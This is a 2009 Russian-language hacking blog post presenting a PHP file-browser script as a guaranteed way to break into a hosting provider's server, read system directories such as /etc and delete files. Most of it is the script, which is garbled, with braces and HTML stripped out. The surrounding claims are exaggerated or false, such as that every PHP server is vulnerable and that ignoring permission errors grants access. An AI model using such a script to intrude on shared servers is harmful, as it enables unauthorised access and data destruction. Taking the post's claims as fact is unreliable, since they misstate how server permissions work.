Взлом через PHP-скрипт - 18 Февраля 2009 - Сайт города Ядрина !
Понедельник, 05.12.2016, 13:26
Приветствую Вас Гость | RSS
xakers"
Главная | Регистрация | Вход
Меню сайта
Мини-чат
200
Наш опрос
Оцените мой сайт
Всего ответов: 54
Главная » 2009 » Февраль » 18 » Взлом через PHP-скрипт
Взлом через PHP-скрипт
20:36

Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать. В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов. Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов: 
function cmp( $a, $b ) //обьявляем функции

GLOBAL $sort; //сортируем полученные функции 

if( $a->inode == $b->inode ) 
return 0; 

switch( $sort ) //объявляем , что по каким функциям будет сортироваться 

case "size": 
return ($a->size > $b->size) ? -1 : 1; 
case "type": 
return strcmp($a->type, $b->type); 
case "view": 
return strcmp($a->view, $b->view); 
case "atime": 
return ($a->atime > $b->atime) ? -1 : 1; 
case "ctime": 
return ($a->ctime > $b->ctime) ? -1 : 1; 
case "mtime": 
return ($a->mtime > $b->mtime) ? -1 : 1; 
case "group": 
return strcmp($a->group, $b->group); 
case "inode": 
return ($a->inode > $b->inode) ? -1 : 1; 
case "owner": 
return strcmp($a->owner, $b->owner); 
case "perms": 
return ($a->perms > $b->perms) ? -1 : 1; 
case "ext": 
return strcmp($a->ext, $b->ext); 
case "name": 
default: 
return 1; 



function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла 

switch( $ext ) 

case "dir": 
$file = "dir"; 
break; 
case "link": 
$file = "link"; 
break; 
case "zip": 
case "tgz": 
case "gz": 
case "Z": 
$file = "compressed"; 
break; 
case "gif":
case "jpg": 
$file = "image2"; 
break; 
case "dvi": 
$file = "dvi"; 
break; 
case "": 
case "exe": 
$file = "binary"; 
break; 
case "sh": 
case "php": 
case "php3": 
case "sql": 
case "inc": 
case "js": 
$file = "script"; 
break; 
case "txt":
$file = "text";
break; 
case "html": 
case "shtml": 
case "phtml": 
$file = "world1"; 
break; 
default: 
$file = "generic"; 
break; 


return $IMG=""; 


class MyFile { //объявляем какие данные будут получены 
var $name; 
var $path; 
var $type; 
var $ext; 
var $stype; 
var $sfile; 
var $size; 
var $file; 
var $atime; 
var $ctime; 
var $mtime; 
var $group; 
var $inode; 
var $owner; 
var $perms; 

function set( $filename, $path ) 

GLOBAL $cd; //объявляем функции перехода по каталогам 

$this->name = $filename; 
$this->path = $path; 
$this->file = $this->path."/".$this->name; 

$this->type = filetype( $this->file ); 
$this->size = filesize( $this->file ); 
$this->atime = fileatime( $this->file ); 
$this->ctime = filectime( $this->file ); 
$this->mtime = filemtime( $this->file ); 
$this->group = filegroup( $this->file ); 
$this->inode = fileinode( $this->file ); 
$this->owner = fileowner( $this->file ); 
$this->perms = fileperms( $this->file ); 

switch( $this->type ) 

case "link": 
$this->sfile = readlink( $this->file ); 
$this->stype = filetype( $this->sfile ); 
$this->ext = "link"; 
break; 
case "file": 
$list = explode( ".", $this->name ); 
$nb = sizeof( $list ); 
if( $nb > 0 ) 
$this->stype = $list[$nb-1]; 
else 
$this->stype = "???"; 

$this->ext = $this->stype; 

switch( $this->stype ) 

case "gif": 
case "GIF": 
case "jpg": 
case "JPG": 
if( isset( $cd ) ) 
$pwd = $cd."/"; 
else 
$pwd = ""; 

$this->sfile = ""; 
break; 
default: 
$this->sfile = $this->stype; 
break; 

break;
default: 
$this->stype = ""; 
$this->sfile = ""; 
$this->ext = $this->type; 
break; 



function formatSize() 

return number_format( $this->size, 0, ".", " "); 



function genUrl( $ref, $args, $key = "", $val = "" )


$valist = ""; 

reset( $args ); 

if( $key != "" ) 
$args[ "$key" ] = $val; 

if( !is_array( $args ) ) 
return $ref; 

while( list( $key, $val ) = each( $args ) ) 

if( $val == "" ) 
continue; 

if( $valist == "" ) 
$valist .= "?"; 
else 
$valist .= "&"; 

$valist .= $key."=".$val; 

return $ref.$valist; 


function updir( $path ) 

$last = strrchr( $path, "/" ); 
$n1 = strlen( $last ); 
$n2 = strlen( $path ); 
return substr( $path, 0, $n2-$n1 ); 


$ref = "dir.php"; 

if( isset( $cd ) ) 

$path = $cd; 
//$lcd = "?cd=$cd'"; 
$args[ "cd" ] = $cd; 

else 

$path = "."; 
//$lcd = ""; 
$args[ "cd" ] = ""; 


if( isset( $nb ) ) 

for( $i = 0; $i < $nb; $i++ ) 

$var = "id_$i"; 
if( isset( $$var ) )

$file = $path."/".$$var; 
if( is_file( $file ) || is_link( $file ) ) 

if( unlink( $file ) ) 
echo "
$file успешно удалён\n"; //сообщение об успешном удалении файла 
else 
echo "
Не могу удалить выставите права доступа $file\n"; //сообщение о невозможности удалить файл который доступен только для чтения 

elseif( is_dir( $file ) ) 

if( rmdir( $file ) ) 
echo "
$file успешно удалён\n"; //сообщение об успешном удалении 
else 
echo "
файл недоступен для удаления$file\n"; //сообщение о невозможности удалить файл 





$step = 100; 

if( !isset( $sort ) ) 
$sort = "name"; 
else 
$args[ "sort" ] = $sort; 

if( !isset( $from ) ) 
$from = 0; 
else 
$args[ "from" ] = $from; 

if( !isset( $to ) ) 
$to = $from + $step; 

$d = dir($path); 
echo "\n"; 
echo "
Вернуться в начало\n"; //ссылка на возврат в домашнею директорию скрипта 
$updir = updir($d->path); 
if( $updir != "." ) 
echo "
Подняться на директорию вверх; $updir\n"; //ссылка на директорию вверх 
echo "
Открыть директорию: path."/..>..\n"; //обновление текущей директории 
echo "
Текущая директория: ".$d->path."\n"; //показываем путь до директории и файлов, которые в ней находятся 

$n = 0; 
while( $entry=$d->read() ) 

$lFiles[ $n ] = new MyFile; 
$lFiles[ $n ]->set( $entry, $path ); 
$n++; 


$d->close(); //создаём HTML форму управления функциями 
echo "

\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
//echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 

@usort( $lFiles, cmp ); 

for( $i = 0; $i < $n; $i++ ) 

if( ( $i < $from ) || ( $i >= $to ) ) 
continue; 

$k = $i; 
echo "\n"; 
echo "\n"; 

$IMG=getIcons( $lFiles[ $k ]->ext ); 

$dform = "M j y H:i"; 
// echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 
echo "\n"; 

switch( $lFiles[ $k ]->type ) 

case "link": 
if( $lFiles[ $k ]->stype == "dir" ) 

$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name; 
echo "\n"; 

else 
echo "\n"; 
break; 
case "dir":
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name; 
echo "\n"; 
break; 
case "file": 
echo "\n"; 
break; 
default: 
echo "\n"; 
break; 

echo "\n"; 


echo "
DTypeИмяРазмерКлассВ системеСозданИзменёнРазмерГруппаowinПоказ
".$lFiles[ $k ]->type."$IMG".$lFiles[ $k ]->name."".$lFiles[ $k ]->formatSize()."".$lFiles[ $k ]->ext ."".date( $dform, $lFiles[ $k ]->atime )."".date( $dform, $lFiles[ $k ]->ctime )."".date( $dform, $lFiles[ $k ]->mtime )."".$lFiles[ $k ]->perms."".$lFiles[ $k ]->group."".$lFiles[ $k ]->owner."".$lFiles[ $k ]->inode."". 
$lFiles[ $k ]->sfile."
".$lFiles[ $k ]->sfile."". 
$lFiles[ $k ]->name."
".$lFiles[ $k ]->sfile."NO
\n"; 

$from = $from - $step; 
if( isset( $cd ) ) 

echo "\n"; 

echo "\n"; 

//echo "
from=$from;to=$to;n=$n\n"; 
echo "
\n"; 
if( $from >= 0 ) 

echo "Предыдущий/\n"; 

if( $to <= $n ) 

echo "Далее \n"; 

echo "
\n"; 
echo "\n"; 
echo "
\n"; 
?> //говорим что PHP скрипт кончился

Вот реализация скрипта, который позволяет вам получить доступ в каталоги провайдера, содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, также злоумышленник получает доступ к папки etc, где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера, на которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку "Подняться на каталог выше" до тех пор, пока вы не увидите корневой каталог сервера. При выходе из вашей директории скрипт возможно сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку "Подняться на каталог вверх", скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас пропустят.

Просмотров: 440 | Добавил: xakerd | Рейтинг: 0.0/0 |
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа
Календарь новостей
«  Февраль 2009  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
232425262728
Поиск
Друзья сайта
Статистика

Copyright MyCorp © 2016

Бесплатный хостинг uCoz